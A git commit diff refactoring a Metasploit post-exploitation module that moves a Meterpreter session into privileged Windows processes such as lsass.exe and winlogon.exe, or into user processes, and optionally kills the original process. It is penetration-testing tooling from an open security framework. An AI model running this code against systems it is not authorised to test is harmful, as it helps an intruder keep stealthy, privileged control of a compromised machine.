Merge pull request #1 from dmaloney-r7/feature/priv-migrate/minor-tweaks

Some minor Tweaks to priv_migrate
bug/bundler_fix
Josh Hale 2016-01-08 15:17:45 -07:00
commit 7dacf20fca
1 changed files with 89 additions and 61 deletions

View File

@ -10,6 +10,9 @@ class Metasploit3 < Msf::Post
include Msf::Post::Windows::Priv
DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'winlogon.exe', 'wininit.exe', 'lsm.exe', 'lsass.exe' ]
DEFAULT_USER_TARGETS = [ 'explorer.exe', 'notepad.exe' ]
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Privilege Based Process Migration ',
@ -36,61 +39,20 @@ class Metasploit3 < Msf::Post
end
def run
# Populate target arrays
admin_targets = []
admin_targets << datastore['ANAME'] if datastore['ANAME']
admin_targets << "services.exe" << "winlogon.exe" << "wininit.exe" << "lsm.exe" << "lsass.exe"
user_targets = []
user_targets << datastore['NAME'] if datastore['NAME']
user_targets << "explorer.exe" << "notepad.exe"
# Get current process information
original_pid = client.sys.process.open.pid
original_name = client.sys.process.open.name
print_status("Current session process is #{original_name} (#{original_pid}) as: #{client.sys.config.getuid}")
# Admin level migration starts here
if is_admin?
if !is_system?
print_status("Session is Admin but not System.")
print_status("Will attempt to migrate to a System level process.")
else
print_status("Session is already Admin and System.")
print_status("Will attempt to migrate to specified System level process.")
end
# Try to migrate to each of the System level processes in the list. Stop when one works. Go to User level migration if none work.
admin_targets.each do |target_name|
if migrate(get_pid(target_name), target_name, original_pid)
kill(original_pid, original_name) if datastore['KILL']
return
end
end
print_error("Unable to migrate to any of the System level processes.")
else
print_status("Session has User level rights.")
end
# User level migration starts here
print_status("Will attempt to migrate to a User level process.")
# Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating.
user_targets.each do |target_name|
if migrate(get_pid(target_name), target_name, original_pid)
kill(original_pid, original_name) if datastore['KILL']
return
end
if migrate(spawn(target_name), target_name, original_pid)
kill(original_pid, original_name) if datastore['KILL']
return
end
@original_pid = client.sys.process.open.pid
@original_name = client.sys.process.open.name
print_status("Current session process is #{@original_name} (#{@original_pid}) as: #{client.sys.config.getuid}")
unless migrate_admin
migrate_user
end
end
# This function returns the first process id of a process with the name provided.
# Note: "target_pid = session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.
#
# @return [Fixnum] the PID if one is found
# @return [NilClass] if no PID was found
def get_pid(proc_name)
processes = client.sys.process.get_processes
processes.each do |proc|
@ -99,7 +61,26 @@ class Metasploit3 < Msf::Post
return nil
end
# This function will try to kill the original session process
#
# @return [void] A useful return value is not expected here
def kill(proc_pid, proc_name)
if datastore['KILL']
begin
print_status("Trying to kill original process #{proc_name} (#{proc_pid})")
session.sys.process.kill(proc_pid)
print_good("Successfully killed process #{proc_name} (#{proc_pid})")
rescue ::Rex::Post::Meterpreter::RequestError => error
print_error("Could not kill original process #{proc_name} (#{proc_pid})")
print_error(error.to_s)
end
end
end
# This function attempts to migrate to the specified process.
#
# @return [TrueClass] if it successfully migrated
# @return [FalseClass] if it failed to migrate
def migrate(target_pid, proc_name, current_pid)
if !target_pid
print_error("Could not migrate to #{proc_name}.")
@ -124,7 +105,66 @@ class Metasploit3 < Msf::Post
end
end
# Attempts to migrate into one of the Target Admin Processes.
#
# @return [TrueClass] if it successfully migrated
# @return [FalseClass] if it failed to migrate
def migrate_admin
if is_admin?
# Populate target array
admin_targets = DEFAULT_ADMIN_TARGETS.dup
admin_targets.unshift(datastore['ANAME']) if datastore['ANAME']
if is_system?
print_status("Session is already Admin and System.")
else
print_status("Session is Admin but not System.")
end
print_status("Will attempt to migrate to specified System level process.")
# Try to migrate to each of the System level processes in the list. Stop when one works. Go to User level migration if none work.
admin_targets.each do |target_name|
if migrate(get_pid(target_name), target_name, @original_pid)
kill(@original_pid, @original_name)
return true
end
end
print_error("Unable to migrate to any of the System level processes.")
else
print_status("Session has User level rights.")
end
false
end
# Attempts to migrate to one of the Target User Processes
#
# @return [TrueClass] if it successfully migrated
# @return [FalseClass] if it failed to migrate
def migrate_user
# Populate Target Array
user_targets = DEFAULT_USER_TARGETS.dup
user_targets.unshift(datastore['NAME']) if datastore['NAME']
print_status("Will attempt to migrate to a User level process.")
# Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating.
user_targets.each do |target_name|
if migrate(get_pid(target_name), target_name, @original_pid)
kill(@original_pid, @original_name)
return true
end
if migrate(spawn(target_name), target_name, @original_pid)
kill(@original_pid, @original_name)
return true
end
end
false
end
# This function will attempt to spawn a new process of the type provided by the name.
#
# @return [Fixnum] the PID if the process spawned successfully
# @return [NilClass] if the spawn failed
def spawn(proc_name)
begin
print_status("Attempting to spawn #{proc_name}")
@ -137,17 +177,5 @@ class Metasploit3 < Msf::Post
return nil
end
end
# This function will try to kill the original session process
def kill(proc_pid, proc_name)
begin
print_status("Trying to kill original process #{proc_name} (#{proc_pid})")
session.sys.process.kill(proc_pid)
print_good("Successfully killed process #{proc_name} (#{proc_pid})")
rescue ::Rex::Post::Meterpreter::RequestError => error
print_error("Could not kill original process #{proc_name} (#{proc_pid})")
print_error(error.to_s)
end
end
end